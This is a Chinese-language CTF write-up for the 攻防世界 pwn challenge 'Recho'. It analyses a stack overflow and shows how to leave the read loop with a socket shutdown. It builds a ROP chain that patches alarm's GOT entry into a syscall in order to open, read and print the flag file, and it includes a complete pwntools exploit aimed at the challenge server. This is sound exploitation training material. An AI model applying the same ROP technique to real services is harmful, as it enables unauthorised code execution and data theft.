攻防世界pwn題:Recho

0x00:查看文件資訊

一個64位二進位文件,canaryPIE保護機制沒開。

 

0x01:用IDA進行靜態分析

 

 

分析:主程式部分是一個while循環,判斷條件是read返回值大於0則循環。函數atoi()是將一個字元串轉換成整型數據,看栗子:

 

這樣子v7可以由我們所決定,所以很明顯第15行存在棧溢出。

 

個人想法:

看到程式有一堆輸入輸出函數,我首先想到的是ret2libc3。在嘗試的過程中發現無論如何都跳不出while循環,使用io=send(”)不可以。思考無果,上網找WP。在海師傅的文章中,了解到可以用shutdown函數進行操作。而且海師傅是以另外的思路進行泄露的,下面我就借鑒海師傅的思路進行描述。

 

0x02:深入分析

首先說一下結束循環的方法:

使用io.shutdown(‘write’)進行關閉(為啥是write呢?)

測試一下:

read不可以,send可以???,recv不可以。在測試sendline時,報錯看到了重要資訊:KeyError: “direction must be in [‘in’, ‘out’, ‘read’, ‘recv’, ‘send’, ‘write’]”。所以說明只能用這六個參數。然後繼續測試,in不可以,out可以)。

這樣子的話,這樣總結為不要以程式為對象。而是看參數的函數操縱數據的流向。writesendout可以,說明由內向外是可以的,反則反方向不可以。(很抱歉,由於資料缺乏。難以從本質上了解。目前先這麼考慮著)

 

另外,因為關閉後就不能打開了,除非重新運行程式,所以我們就不能再次ROP到主函數獲取輸入了。這樣很明顯就不能用ret2libc3泄露了,雖然你可以第一次泄露出遠程libc的版本。但由於機器一般都開有aslr保護機制,這樣子libc載入的位置就會在重新執行後發生了改變了。

所以,我們必須要一次性完成所有操作,也就是get_shell或者cat_flag

 

可以構造這樣的程式碼來get flag

1int fd = open(“flag”,READONLY) (註:READONLY=0

2read(fd,buf,100)

3、printf(buf)

 

1、int fd = open(“flag”,READONLY)

程式中已經導入了writeprintfalarmread函數,還缺個open函數。open和這些已導入的函數都是通過系統調用進行調用的,所以libc中應該有系統調用的相關指令,然後改變rax暫存器,使系統調用號變為open的就可以了。

 

先了解一下32位和64位下的彙編指令的系統調用:

  • 32位:
    • 傳參方式:首先將系統調用號傳入eax,然後將參數從左到右依次存入ebxecxedx暫存器中,返回值存在eax暫存器中。
    • 調用號:sys_read3,sys_write4
    • 調用方式:使用int 80h中斷進行系統調用
  • 64位:
    • 傳參方式:首先將系統調用號傳入rax,然後將參數從左到右依次存入rdirsirdx暫存器中,返回值存在rax暫存器中。
    • 調用號:sys_read0sys_write1sys_open2
    • 調用方式:使用syscall指令進行系統調用

 

隨便打開個libc,查看alarm函數:

 

 

系統調用指令syscallalarm起始位置偏移5的位置。可以對alarm.got的值加5,這需要對libc的函數地址運行一次後載入到got表上後進行操作。這裡有個gadget可以達到該目的:

 

 

分別對這兩行右鍵,進行undefine。然後對第一行右鍵,進行code。就可以得到如下gadget

 

 

指令 add [rdi],al ,我們可以先讓rdi = got[‘alarm’],然後使al = 5,這樣執行完該指令後,alarm對應的got表的值就指向了syscall指令。

其它相關的指令:

 

 

想要看機器碼的,可以在options->general進行設置:

 

在改了alarm.gotsyscall後,在跳轉到syscall開始系統調用之前,還需要做好與open函數相關的準備。有rax=2rdi=&”flag”rsi = 0

 

pop rax前面已經找出來了,至於字元串“flag”的話,在程式中是有的。但在ida中用shift+f12是看不到的,可能是因為“flag”在數據段,但是shift+f12沒有查找數據段的。我們可以在linux終端用strings ./Recho命令查看,或者用ida的菜單欄中的查找文本功能。

 

 

字元串“flag”

 

 

pop rsi指令在__libc_csu_init處有,不過沒那麼,倒也不影響:

 

 

這一段的payload:

payload = b'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x05)
payload += p64(rdi_add)

payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(flag)
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)

 

2、read(fd,buf,100)

文件描述符012程式已經默認分配了,前面用open函數打開文件的文件描述符應該是3(不行的話可以試試456……)。buf的話,海師傅用的是.bss節上的stdin_buffer:(.bss上有的可以,有的不行)

 

 

這樣子,這一部分的payload為:

payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)

 

3、printf(buf)

printf函數把第二部分存入stdin_bufferflag列印出來。

payload為:

payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

 

整體EXP

from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')

#io = process("./Recho")
io = remote("111.200.241.244",59230)
elf = ELF("./Recho")

pop_rax = 0x4006FC
pop_rdx = 0x4006FE
pop_rsi_r15 = 0x4008A1
pop_rdi = 0x4008A3
rdi_add = 0x40070D

flag = 0x601058
stdin_buffer = 0x601070
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

io.recvuntil("Welcome to Recho server!\n")
io.sendline("400")

payload = b'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x05)
payload += p64(rdi_add)

payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(flag)
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)

payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
payload
+= p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload
= payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()

 

0x03:個人感觸

 累~

這題要在程式裡面不斷翻找合適的gadget去一步步構造自己想要的執行流,還是得多看看彙編,深入理解程式執行過程中彙編指令的協助。二進位的道路,任重而道遠~


 

 tolele

2022-07-02